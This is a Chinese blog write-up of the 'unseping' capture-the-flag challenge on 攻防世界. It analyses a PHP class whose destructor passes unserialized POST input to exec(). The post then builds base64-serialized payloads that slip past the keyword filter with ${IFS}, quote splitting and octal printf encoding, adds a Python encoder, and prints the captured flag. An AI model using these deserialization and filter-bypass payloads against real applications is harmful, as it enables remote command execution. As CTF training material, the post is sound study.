首页 > 其他分享 >攻防世界-unseping

攻防世界-unseping

时间:2022-11-16 13:34:36浏览次数:41  
标签:__ 攻防 世界 ping flag str unseping array payload

题目

 <?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

从代码中看出这是一题php反序列化,先尝试理解代码调用链

构建对象可以给两个参数,反序列化会调用__wakeup(),然后会调用waf(),可以看到waf()中过滤

|,&,;,空格,/,cat,flag,tac,php,ls

__destruct()销毁对象或脚本结束时被调用,若$methd的值在数组array("ping")中[相当于:$methd=="ping"]

call_user_func_array(array($this, $this->method), $this->args);

/*
调用回调函数,并把一个数组参数作为回调函数的参数。
这里相当于调用ping()
array中
$this 相当于当前这个类
$this->method=="ping" 这个类下的ping()方法
后面那个参数就是ping()方法中的实参
*/

最后调用ping()方法执行命令后输出

分析完代码后,开始构建poc

//查看文件
$t = new ease("ping",array('l""s${IFS}-l'));
echo base64_encode(serialize($t));
//序列化::Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxMjoibCIicyR7SUZTfS1sIjt9fQ==

右键查看源代码可以更直观查看

可以看到flag_1s_here者是一个目录,再次查看该目录下文件

$t = new ease("ping",array('l""s${IFS}-l${IFS}fl""ag_1s_here'));
echo base64_encode(serialize($t));
//序列化结果:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozMjoibCIicyR7SUZTfS1sJHtJRlN9ZmwiImFnXzFzX2hlcmUiO319

可以看到flag文件flag_831b69012c67b35f.php

若我们直接查看该文件,命令应该是

cat flag_1s_here/flag_831b69012c67b35f.php

但是/是被过滤掉的,在这里可以转成八进制的ASCII码,在这里我写了一个python,以后也方便使用

# 八进制编码
def encodeOctal(str):

    # 只显示八进制
    print("八进制")
    for i in str:
        print(oct(ord(i)).replace("0o", "\\"), end="")

    # 显示Linux八进制payload
    print("\nlinux payload")
    payload = '$(printf${IFS}"'
    for i in str:
        payload += oct(ord(i)).replace("0o", "\\")

    payload += '")'
    print(payload)


if __name__ == '__main__':
    str = "cat flag_1s_here/flag_831b69012c67b35f.php"
    encodeOctal(str)

poc

$t = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
echo base64_encode(serialize($t));
//序列化结果:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319

得到flag:cyberpeace{7e010f1fd7d79aba374ee221133a39fb}

标签:__,攻防,世界,ping,flag,str,unseping,array,payload
From: https://www.cnblogs.com/iplkcc/p/16895570.html

相关文章